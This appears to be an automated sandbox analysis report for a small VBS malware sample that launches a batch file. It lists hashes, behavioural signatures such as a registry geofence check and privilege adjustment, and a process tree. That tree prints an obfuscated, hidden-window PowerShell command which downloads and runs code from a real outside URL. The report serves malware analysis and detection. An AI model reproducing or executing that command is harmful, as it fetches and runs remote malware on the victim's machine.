Analysis
- max time kernel
55s - max time network
50s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system - submitted
01/05/2024, 01:58
Static task
static1
Behavioral task
behavioral1
Sample
a.bat
Resource
win7-20240221-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
a.bat
Resource
win10v2004-20240419-en
16 signatures
150 seconds
Behavioral task
behavioral3
Sample
wHEwhGFVae.vbs
Resource
win7-20240220-en
4 signatures
150 seconds
Behavioral task
behavioral4
Sample
wHEwhGFVae.vbs
Resource
win10v2004-20240419-en
5 signatures
150 seconds
General
- Target wHEwhGFVae.vbs
- Size 80B
- Sample240501-cd5ayadd8y
- SHA256 613a93c8225f0b31ccddcb482477e41dba36e8d13fcdc1dbe2d17ecc90d2ccf7
- MD5 d9878035fbe7a4a2ad83b4242917c984
- SHA1 e0b04a4f1cf6cb863aa31b06e3ec25cece105da0
- SHA512 332d9bdf29e19f5ebef016fa297725c0835e949fe061bcee38a0671ee2ae5655cb77507f43874fea935de1ac2ddac514cf9225ed47c4388982dec2c15f58545b
- MD5 SHA1 SHA512
Score
7/10
Malware Config
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000\Control Panel\International\Geo\Nation WScript.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4716 powershell.exe 4716 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4716 powershell.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 552 wrote to memory of 4656 552 WScript.exe 84 PID 552 wrote to memory of 4656 552 WScript.exe 84 PID 4656 wrote to memory of 4892 4656 cmd.exe 86 PID 4656 wrote to memory of 4892 4656 cmd.exe 86 PID 4892 wrote to memory of 4716 4892 cmd.exe 87 PID 4892 wrote to memory of 4716 4892 cmd.exe 87
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\wHEwhGFVae.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:552 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\a.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:4656 -
C:\Windows\system32\cmd.exeCMD.EXE /C POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$XCZM='IEX(NEW-OBJECT NET.W';$SYWD='EBCLIENT).DOWNLO';[BYTE[]];$VFDR='TUUL(''https://totalhorsehealth.com/wp-admin/images/images/im/im.png'')'.REPLACE('TUUL','ADSTRING');[BYTE[]];IEX($XCZM+$SYWD+$VFDR)3⤵
- Suspicious use of WriteProcessMemory
PID:4892 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$XCZM='IEX(NEW-OBJECT NET.W';$SYWD='EBCLIENT).DOWNLO';[BYTE[]];$VFDR='TUUL(''https://totalhorsehealth.com/wp-admin/images/images/im/im.png'')'.REPLACE('TUUL','ADSTRING');[BYTE[]];IEX($XCZM+$SYWD+$VFDR)4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4716
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g1jjt413.xhu.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512